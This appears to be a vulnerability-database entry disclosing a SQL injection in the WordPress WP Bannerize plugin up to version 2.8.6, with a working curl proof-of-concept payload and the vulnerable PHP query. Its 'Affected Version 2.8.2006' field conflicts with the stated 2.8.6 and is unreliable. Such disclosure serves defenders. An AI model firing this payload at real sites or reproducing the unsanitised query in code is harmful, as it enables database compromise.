WordPress WP Bannerize plugin

vendor:

WP Bannerize plugin

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: WP Bannerize plugin

Affected Version From: 2.8.2006

Affected Version To: 2.8.2006

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

WordPress WP Bannerize plugin <= 2.8.6 SQL Injection Vulnerability

A SQL injection vulnerability exists in WordPress WP Bannerize plugin version 2.8.6 and earlier. An attacker can send a specially crafted HTTP POST request with an X-Requested-With header set to XMLHttpRequest to the ajax_clickcounter.php script, which is vulnerable to SQL injection. This can allow an attacker to execute arbitrary SQL commands on the underlying database.

Mitigation:

Upgrade to the latest version of the WP Bannerize plugin.

Source

Exploit-DB raw data:

# Exploit Title: WordPress WP Bannerize plugin <= 2.8.6 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
# Version: 2.8.6 (tested)

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PoC
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curl --data "id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_clickcounter.php

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Vulnerable code
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if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
    ...
    $sql = "UPDATE `" . $wpdb->prefix ."bannerize_b` SET `clickcount` = `clickcount`+1 WHERE id = " . $_POST['id'];
    $result = mysql_query($sql);